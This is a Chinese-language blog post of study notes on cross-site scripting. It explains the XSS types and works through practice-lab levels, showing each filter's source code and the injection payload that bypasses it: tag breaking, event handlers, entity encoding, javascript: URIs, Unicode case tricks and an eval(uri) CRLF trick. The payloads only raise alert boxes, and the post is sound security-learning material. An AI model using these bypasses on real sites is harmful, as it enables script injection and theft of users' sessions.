Learning about XSS

XSS概念

XSS(跨站脚本攻击)是一种常见的网络安全漏洞,攻击者将恶意的客户端脚本(通常是JavaScript)注入到用户访问的合法网站中,当用户浏览器执行这些脚本时,攻击者就能窃取用户数据(如Cookie)、冒充用户身份、劫持会话或在页面上执行任意操作。

XSS 攻击的类型

Stored XSS

  • 前端–>后端–>数据库–>后端–>前端

  • 存储型XSS,也叫持久型XSS,主要是将XSS代码发送到服务器(不管是数据库、内存还是文件系统等),然后在下次请求页面的时候,服务器从数据库中读取数据,没有做XSS相关处理,直接输出给浏览器,导致攻击代码被执行。

  • 讲恶意的数据包含在HTTP响应中,在后续HTTP响应中会继续执行

  • 这一类典型案例:留言板XSS

Reflected XSS

  • 前端–>后端–>前端

  • 此类型不会被存在资料库中,主要透过用户发出恶意的请求,倘若后端没有过滤而直接将结果回传前端的话,就有可能执行到恶意的代码

  • 攻击者构造一个包含脚本的URL,并让正常用户打开这个url,这样XSS代码出现在请求URL中,作为参数提交到服务器,服务器对参数没有进行XSS相关处理,直接解析并响应。响应结果中包含XSS代码,最后浏览器解析并执行。

    攻击过程中恶意数据被服务器“反弹”给用户的浏览器,故称为反射型XSS。

    特点:反射型XSS主要服务端没有对外来数据进行XSS处理,就直接发送给浏览器,导致出现XSS攻击。

1
<script>alert("hey!");</script>

DOM-Based XSS

  • 前端–>浏览器
  • 这种情况不依赖于是否将恶意程序放置于服务器,而是修改页面的DOM节点,效果上说也属于反射型XSS。
  • 文档对象模型(DOM)是一个网络文档的编程接口。 它代表页面,以便程序可以改变文档的结构、风格和内容。 DOM 将文档表示为节点和对象;这样,编程语言就可以与页面交互。 网页是一个既可以在浏览器窗口中显示,也可以作为HTML 源代码的文档。
  • 客户端JavaScript可以访问浏览器的DOM文本对象模型是利用的前提,当确认客户端代码中有DOM型XSS漏洞时,并且能诱使(钓鱼)一名用户访问自己构造的URL,就说明可以在受害者的客户端注入恶意脚本。
  • 直接交给浏览器执行

反射型和DOM型的差异理解:

这一篇文章讲的比较清楚

  • 总结一下就是:反射型的xss会把写好的内容直接放进HTML代码里,就是会接触服务器,而DOM型是通过网页本身的JavaScript进行渲染触发的,DOM型XSS的payload不直接输出于相应体中,而是通过一段js处理的方式,把这个payload以某种方法给带出来,再在前端加载的时候实际触发。

XSS靶场wp-1

靶场

0x00

1
<script>alert(1)</script>

0x01

标签</textarea>会让输入的内容作为文本,而不会被JavaScript解释器处理,所以把前面的标签截断

1
</textarea><script>alert(1)</script>

0x02

提交变量value

先闭合让script语句单独出去作为一个单独的HTML语句执行

1
"><script>alert(1)</script>

后面的可以注释掉

0x03

stripbracketsRe的作用是将指定的符号替换 这里是被替换为空

HTML编码只能放在标签内,所以如果用script标签就不能采取这种方式

编码有十进制和十六进制,是十六进制的可以显示完成,而十进制的会直接弹窗,也就是说实际上是注入成功了的,但是靶场没有设置这个检查

1
2
<img src=0 onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#104;&#97;&#99;&#107;&#34;&#41;>
<!--这里是十进制的-->

1
<img src=0 onerror="alert(1)">

onerror事件在加载外部文件(文档或图像)发生错误时触发。

随意命名的图像或者文档本来就是不存在的,所以一定会出现这个报错

反引号也可以

1
<script>alert`1`</script><!--

0x04

编码方式同上

<img src=0 onerror=&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

0x05

单行注释符被替换

但是可以用多行注释符闭合

--!><script>alert(1)</script>

0x06

input = input.replace(/auto|on.*=|>/ig, '_')

不能闭合了,所以只能用图片报错来

这里的on匹配不是直接和等号匹配的,on.*=/ig 会匹配 on 字符后面除了换行符以外的任何字符后的等号

这里感觉和C语言的输入替换有点像,和%*c那个一样,但是C的可以用于处理换行符,这里利用的是不能替代换行符

type="image" src="x" onerror
="alert(1)"

0x07

function render (input) &#123;
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>$&#123;input&#125;</article>`
&#125;

html即使没有右边尖括号依旧可以执行

过滤了 <任意大于 0 个的除了右尖括号以外的字符></任意大于 0 个的除了右尖括号以外的字符> 这样的结构

<img src="x" onerror="alert(1)"

0x08

直接用会被替换

HTML 标签在文字与右尖括号之间的空格不会影响解析,因此使用空格绕过

换行符也可以

</style ><script>alert(1)</script>
或者
</style
><script>alert(1)</script>

0x09

必须包含http的部分

function render (input) &#123;
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) &#123;
    return `<script src="$&#123;input&#125;"></script>`
  &#125;
  return 'Invalid URL'
&#125;

然后这里需要加入的网址本身就是错误的地址可以直接用onerror,如果是可用的网址,那么就双写

0x0A

function render (input) &#123;
  function escapeHtml(s) &#123;
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  &#125;

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) &#123;
    return `<script src="$&#123;escapeHtml(input)&#125;"></script>`
  &#125;
  return 'Invalid URL'
&#125;

src:指定资源内容,(包括路径或者文件内容之类的)

这里访问直接就是对应的js文件

https://www.segmentfault.com.haozi.me/j.js

使用 @ 会以 @ 前的字符串作为用户名来访问 @ 后面的网址

是个新知识,但是这里用@没成功,不知道为什么

0x0B

function render (input) &#123;
  input = input.toUpperCase()
  return `<h1>$&#123;input&#125;</h1>`
&#125;

<h1>这个是标题格式

所以就是呈现不需要闭合前面的

大小写不影响标签的执行,只是输出会改变大小写,所以直接加

  • HTML 标签和属性名称不区分大小写

但是JavaScript解释器是需要分析大小写的所以编码绕过

<img src=1 onerror="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">

0x0C

function render (input) &#123;
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
&#125;

img标签或者双写

payload

<img src=1 onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

理论上双写应该可以,但是没成功,为什么

0x0D

function render (input) &#123;
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('$&#123;input&#125;')
    </script>
  `
&#125;

这里input直接拼到alert上,通过回车避开前面的(',再用注释符去掉闭合的')

1
2
alert(1)
-->

这个注释符可以闭合单行注释也可以闭合多行注释,闭合之后就无视之后的部分

0x0E

1
2
3
4
5
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

如果字母和左尖括号放在一起,字母前会被加上下划线,哇正则表达式你也是学到了

标签不能用回车来绕过,会无法读取,这里用到了古英文

1
2
3
4
<ımg src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"/>

<ſcript src="" οnerrοr="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
第二种解法也没出

ſ 大写后为 S(ſ 不等于s)

也有可能是Unicode编码

0x0F

1
2
3
4
5
6
7
8
9
10
11
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f;')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

括号没有被过滤,可以正常被闭合

1
');alert(1)('

闭合前后,相当于三个命令的执行,一个为空一个为alert函数,一个是console.error函数

0x10

Window 对象描述 Window 对象表示一个浏览器窗口或一个框架。在客户端 JavaScript 中,Window对象是全局对象,所有的表达式都在当前的环境中计算。也就是说,要引用当前窗口根本不需要特殊的语法,可以把那个窗口的属性作为全局变量来使用。

1
2
3
4
5
6
7
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}

所以这里input直接给需要执行的命令,不需要任何标签

0x11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}

JS 解析的优先级是「先处理转义符 → 再执行表达式 → 最后处理语法错误」,这也是 alert 能执行的关键 也就是说转义符会被直接无视 等于没有黑名单 直接照着前面闭合就可以了

会对特殊字符进行转义,但是注入的位置在js的字符串中,因此转义过的字符也会被正常解析

也就是说,这里转义与否只会在html呈现中有体现,不影响实际执行内容,所以正常闭合,然后该注释掉的注释掉,注意这个是在文字中间所以,注意语法完整

1
");alert(1)//

0x12

1
2
3
4
5
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}

转义转义符

payload呈现的就是把已经转义的直接交上去,当成是已经被转义的内容。

1
\");alert(1)//

相当于拼凑一个转义的结果,促使执行的时候就按照转义转义符之后的内容写

拼接的结果:

1
<script>console.log("\\");alert(1)//");</script>

双引号的部分就可以被解析出来

XSS challenge

challenge

抓包内容里有对应脚本

前端动效部分不用管

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<script>
window.name = 'XSS(eXtreme Short Scripting) Game'

function showModal(title, content) {
var titleDOM = document.querySelector('#main-modal h3')
var contentDOM = document.querySelector('#main-modal p')
titleDOM.innerHTML = title
contentDOM.innerHTML = content
window['main-modal'].classList.remove('hide')
}

window['main-form'].onsubmit = function(e) {
e.preventDefault()
var inputName = window['name-field'].value
var isFirst = document.querySelector('input[type=radio]:checked').value
if (!inputName.length) {
showModal('Error!', "It's empty")
return
}

if (inputName.length > 24) {
showModal('Error!', "Length exceeds 24, keep it short!")
return
}

window.location.search = "?q=" + encodeURIComponent(inputName) + '&first=' + isFirst
//这里是输入内容的处理(先编码)
}

if (location.href.includes('q=')) {
// 将 url 进行解码后赋值给 uri
var uri = decodeURIComponent(location.href)
// 截取出 q 参数的值
var qs = uri.split('&first=')[0].split('?q=')[1]
// 对值进行判定,条件成立时返回 qs 中的内容
if (qs.length > 24) {
showModal('Error!', "Length exceeds 24, keep it short!")
} else {
showModal('Welcome back!', qs)
}
}
</script>

eval() 是一个功能强大的内置函数,主要用于将字符串解析为有效的表达式、数值或语句并执行,随后返回执行结果。它广泛用于 Python、JavaScript、PHP 等编程语言中,常用于动态计算算术表达式、转换数据类型(如字符串转字典/列表)或执行代码,但因其可执行任意代码,存在严重的安全风险。

要求中还表示需要包含alert(document.domain),同时有长度限制

长度检查有q和qs

注入位置是innerHTML

  • innerHTML 操作的是元素的内部内容。
  • outerHTML 操作的是包括元素自身在内的整个 HTML 结构。

JS 的解析逻辑
按行扫描 行内必须是合法 JS 新的一行是新的语句开始点

  • HTTP 协议规范规定:一行头必须以 CRLF 结尾
  • 这一行结束了,下一行当成新的语句重新解析

在JavaScript中,使用innerHTML属性将一个字符串(假设为qs)作为HTML解析并插入到DOM树中

  1. 页面初始加载时,浏览器会解析HTML文档,构建DOM树。
  2. 在页面加载后,JavaScript代码执行,获取到DOM元素(contentDOM),然后设置其innerHTML属性为字符串qs
  3. 浏览器会将字符串qs当作HTML来解析,并生成相应的DOM节点,然后插入到contentDOM元素中,成为其子节点。
  4. 通过 innerHTML 动态插入的 <script> 标签,默认不会执行

这样的句式,实际上执行的也是alert(document.domain)

对特殊字符进行编码可以防止过滤

1
?q=<svg onload=eval(uri)>&first=yes\r\nalert(document.domain)
1
?q=%3csvg%20onload%3deval(uri)%3e&first=yes%0d%0aalert(document.domain)

XSS靶场wp-2

level-1

这一关是script标签的注入

level-2

这一关GET提交两个变量,value的内容可以作为突破口,因为在相关结果展示的时候会有字符编译

但是value部分就可以依靠">闭合,让这个script语句放出来

level-3

HTML的解析原则

被编译力,但是发现单引号不会被编译,所以还是可以直接闭合

  • htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

    预定义的字符是:

1
2
3
4
5
- & (和号)成为 &amp;
- " (双引号)成为 &quot;
- ' (单引号)成为 '
- < (小于)成为 &lt;
- > (大于)成为 &gt;

onclick事件:

当鼠标点击时执行JavaScript代码,也就是先上传代码然后执行

添加鼠标点击

先用单引号闭合,然后相当于加上一个新的语句

payload:

1
'onclick='alert(1)

这里前一个闭合原本value那个单引号,后一个接上后面的

level-4

这里可以发现提交的双引号不会被转义,但是尖括号被忽略了

就导致无法直接结束这个语句写入script语句,那么就和上一个题一样

level-5

验证发现不是字符位数的问题,应该是关键字检测替代

onclick和script都在其中

不只是onclick,只要是on类型的都会被处理,包括onerror onload onlaodstart onpageshow都不能用

JavaScript伪协议:

将JavaScript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中

也就是说javascript:后加的内容可以被JavaScript解释器执行,但是这里还是在HTML里,所以还是需要放到其他标签里,诶

1
2
3
"><iframe src="javascript:alert(1)"></iframe>

"><a href="javascript:alert(1)">

这里两种,第二种就是插入链接,然后点击链接就会被JavaScript解释器执行,如果是正常链接那就执行链接跳转,如果不是链接就不跳转

iframe 是一种使用HTML 结构的内嵌框架。 借助此框架,您可以将一个HTML 文档插入另一个HTML 文档中并使其显示为网页。 它以 <iframe> 标记表示。

第一种执行之后弹窗返回1,也会生成一个内嵌HTML,但是没有返回执行成功,不确定是不是我没有对那个框架做进一步操作的原因

level-6

这关还是关键词的替换

所以a href这个就没法直接用了

大小写绕过

level-7

这关甚至都不保留了,而且大小写绕过也会被处理

替换成空,那就双写绕过

做错了,javascript:alert(1)这个地方的script也被处理了

所以还要再双写一次

level-8

都会被转义,然后有一个纯天然链接

script会被替代,大小写绕过不行

处理的内容都是HTML解释器的内容,HTML字符实体转化,就是相当于编码之后再交

level-9

直接交显示不合法

直接尝试没试出来,所以去看了源码

发现保留了对关键字的替换,对于链接合不合法固定的比较死,只是固定”http://“,所以在绕过的基础上加一个http://

是白名单,但是要注意把前后链接截断来

level-10

删除了输入窗口

尝试对三个变量做改动,发现只有t_sort变量是可控的,所以闭合t_sort变量,但是还是没有变化,把type改成text

1
?t_sort=" type="text" onclick="alert('xss')

这时候有显示之后才可以click触发onclick

level-11

这一关和上一关一样都有隐藏元素

起始状态下会显示上一关的url,提交一次之后发现,t_sortt_ref都有变化,但是上传上一关的内容,就会发现t_sort变量被实体化了

t_ref的value的值是前一个页面的地址,通过$_SERVER['HTTP_REFERER']也可以获取前一个页面的地址,所以referer请求头也成了输出参数。

抓包改referer请求头,这里直接抓一开始跳转到11的页面,因为在这个时候是在读取referer的

这里使用的payload:(不改type也可以,因为不需要点击触发,不需要可以点击的点)

1
" type="text" onmousemove="alert(1)

在跳转前还出现了输入框,可以用onclick

1
"type="text" onclick="alert(1)

level-12

对比和上一关的相似处,判断带了什么内容过来

这一关是User-Agent

payload一样

level-13

cookie

进阶xss的学习

xss进阶技巧也要求系统掌握大部分xss的绕过方法

浏览器渲染过程

同源策略

XS-Leak

Icon
致谢名单
本作品由 LwhalE 于 2026-01-27 15:05:39 发布
作品地址:Learning about XSS
除特别声明外,本站作品均采用 CC BY-NC-SA 4.0 许可协议,转载请注明来自 LwhalE's blog
Logo